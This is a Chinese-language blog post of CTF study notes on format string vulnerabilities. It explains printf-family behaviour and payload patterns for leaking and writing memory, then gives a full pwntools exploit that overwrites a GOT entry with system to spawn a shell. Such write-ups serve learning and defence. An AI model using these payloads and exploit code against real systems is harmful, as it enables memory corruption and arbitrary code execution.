Pwn-series-Format-String

Pwn系列:格式化字符串

前言

在上周日的南京理工线下新生赛(现场)中遇到了这道题,当时居然没做出来,这就开始补课。

原理

程序员在编写输入输出代码的时候错误产生了如下片段:

1
2
3
char buffer[buffer_size];
//Read format string from user-defined source and put into buffer
*printf(buffer);

为什么说是*printf呢?因为涉及到的是一整个函数家族:

函数 注释
printf 输出到stdout
fprintf 输出到指定FILE流
vprintf 根据参数列表格式化输出到 stdout
vfprintf 根据参数列表格式化输出到指定 FILE 流
sprintf 输出到字符串
snprintf 输出指定字节数到字符串
vsprintf 根据参数列表格式化输出到字符串
vsnprintf 根据参数列表格式化输出指定字节到字符串
setproctitle 设置 argv
syslog 输出日志
err, verr, warn, vwarn 等

漏洞的产生是因为这些函数一边解释输入的格式化字符串一边在栈上执行,这样就能通过恶意构造的格式化字符串操纵实现内存读写。在这些函数正常使用的时候函数内部相当与维护两个指针分别指向字符串首地址和传参得到的参数数组首地址。函数依次解析格式化字符串,在出现由%指定的需要特定格式解析并打印的时候从参数数组中取出并对应解释打印。这样的动态执行给这个函数系列带来了灵活性,同时错误的使用也带来了安全隐患。

这里放一下格式化字符串的格式:

%[parameter][flags][field width][.precision][length]type

还有重点关注的pattern:

  • parameter
    • n$,获取格式化字符串中的指定参数
  • field width
    • 输出的最小宽度
  • precision
    • 输出的最大长度
  • length,输出的长度
    • hh,输出一个字节
    • h,输出一个双字节
  • type
    • d/i,有符号整数
    • u,无符号整数
    • x/X,16 进制 unsigned int 。x 使用小写字母;X 使用大写字母。如果指定了精度,则输出的数字不足时在左侧补 0。默认精度为 1。精度为 0 且值为 0,则输出为空。
    • o,8 进制 unsigned int 。如果指定了精度,则输出的数字不足时在左侧补 0。默认精度为 1。精度为 0 且值为 0,则输出为空。
    • s,如果没有用 l 标志,输出 null 结尾字符串直到精度规定的上限;如果没有指定精度,则输出所有字节。如果用了 l 标志,则对应函数参数指向 wchar_t 型的数组,输出时把每个宽字符转化为多字节字符,相当于调用 wcrtomb 函数。
    • c,如果没有用 l 标志,把 int 参数转为 unsigned char 型输出;如果用了 l 标志,把 wint_t 参数转为包含两个元素的 wchart_t 数组,其中第一个元素包含要输出的字符,第二个元素为 null 宽字符。
    • p, void * 型,输出对应变量的值。printf(“%p”,a) 用地址的格式打印变量 a 的值,printf(“%p”, &a) 打印变量 a 所在的地址。
    • n,不输出字符,但是把已经成功输出的字符个数写入对应的整型指针参数所指的变量。
    • %, ‘%’字面值,不接受任何 flags, width。

利用

首先需要说明一下,在32位和64位系统上传参的方式是有区别的:

  • 32位
    • 参数从右到左依次压入堆栈,每次压入一个。调用者(caller)必须明确有多少Byte的参数,以便函数返回后清理掉。
  • 64位
    • 当参数少于7个时, 参数从左到右放入寄存器: rdi, rsi, rdx, rcx, r8, r9。
    • 当参数为7个以上时, 前 6 个与前面一样, 但后面的依次从 “右向左” 放入栈中,即和32位汇编一样。

因为利用的需要,明确出格式化字符串本身在第几个参数是有必要的,在这里可以使用:

AAAA%n$x

意思是以16位打印第n+1个参数的内容,如果n的数值正确应该返回41414141,0x41正是’A’的ASCII值,如果出现了就可以确认。

信息泄露

  • 栈上数据

因为该家族函数执行环境都在栈上,所以泄露栈上数据是很自然的。除了首先想到的通过类似于%p%p%p%p...这样打印的方法,还有用%n$[format]这样指定栈上第几个参数的方式。

  • 任意地址数据

首先在缓冲区内布置一个指定的地址之后用$s去打印对应地址的数据,坑点在于遇到\x00就截断了,在小端序机器上会导致32/64位地址泄露不全:\x80\x60\x77\x7f\x00\x00(0x7f776080)。这样的尾端的首零就不见了,需要注意。

举例:

[address_of_target]%n$s

%n$s[round_to_size_of_pointer][address_of_target]

第二种可以归避打印地址首端0的问题

数据写入

该系列函数本身使用来打印的,但是可以通过%n这个来把已经写入的字符数量写入下一个参数地址中。其中字符数量是会累加的,需要小心计算。

%[target_value]c%hn[round_to_size_of_pointer][address_of_target]

其中%hn的修饰很重要,hh写一个字节,h写两个字节。

例题

fmt

这题保护几乎都关了,直接覆写GOT表然后借助printf函数部分的传参流程调用sh就行。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
from pwn import *

def fmt(prev, word, index):
if prev < word:
result = word - prev
fmtstr = "%" + str(result) + "c"
elif prev == word:
result = 0
else:
result = 256 + word - prev
fmtstr = "%" + str(result) + "c"
fmtstr += "%" + str(index) + "$hhn"
return fmtstr


def fmt_str(offset, size, addr, target):
payload = ""
for i in range(4):
if size == 4:
payload += p32(addr + i)
else:
payload += p64(addr + i)
prev = len(payload)
for i in range(4):
payload += fmt(prev, (target >> i * 8) & 0xff, offset + i)
prev = (target >> i * 8) & 0xff
return payload

context(arch = 'amd64', os = 'linux', endian = 'little')
context.terminal = ['urxvtc', '-e', 'sh', '-c']

elf = ELF('./fmt')

addr_printf = elf.got['printf']
print("printf: " + hex(addr_printf))
addr_read = elf.got['read']
print("read: " + hex(addr_read))

p = process('./fmt')

#Aim for ending zero situation
#payp = "1234"+"%7$s"+pack(addr_printf+1)
#p.sendline(payp)
#pr_printf = unpack(('\x00' + p.recv()[4:9]).ljust(8, '\x00'))
#log.success('printf address is 0x%x.' % pr_printf)
payp = "1234"+"%7$s"+pack(addr_printf)
p.sendline(payp)
pr_printf = unpack((p.recv()[4:10]).ljust(8, '\x00'))
log.success('printf address is 0x%x.' % pr_printf)

payr = "1234"+"%7$s"+pack(addr_read)
p.sendline(payr)
pr_read = unpack((p.recv()[4:10]).ljust(8, '\x00'))
log.success('read address is 0x%x.' % pr_read)

offset_system = 0x0000000000045380
offset_read = 0x00000000000ec730
addr_system = pr_read - offset_read + offset_system
log.success('system address is 0x%x.' % addr_system)

#First two, then four
first = (addr_system >> 16)%0x100
tmp1 = "%" + str(first) +"c%" + str(9) + "$hhn" + "%"
second = (addr_system % 0x10000) - first
tmp = tmp1 + str(second) + "c%" + str(10) + "$hn"
payp = tmp + "A"*(24-len(tmp)) + pack(addr_printf+2) + pack(addr_printf)
#payp = fmt_str(6, 4, addr_printf, addr_system)
p.sendline(payp)
p.recv()


p.sendline('/bin/sh')
p.interactive()

  • 过程中比较有趣的是46行的payload构造,学长说printf函数的地址末尾可能是0,那就在打印的是被首先截断导致地址无法打印。对应的方法是把要打印的地址加1略过,之后在接收的时候还原。

  • 然后是62行开始的payload构造,几个函数的地址一直在变,所以要写的灵活些。关键是函数的地址真的用%c老实打印的话太慢了,所以通过分段写的方式拼接。在这里选择先写一个字节,再写两个字节。因为已经打印的字符数总是在增加的,能够构造写入的值也是不断增加的。

总结

明明是以为自己中考完在《软硬件接口》中学完的知识点,却没能作出一个保护全关的例题。还是要多写多练,温故而知新。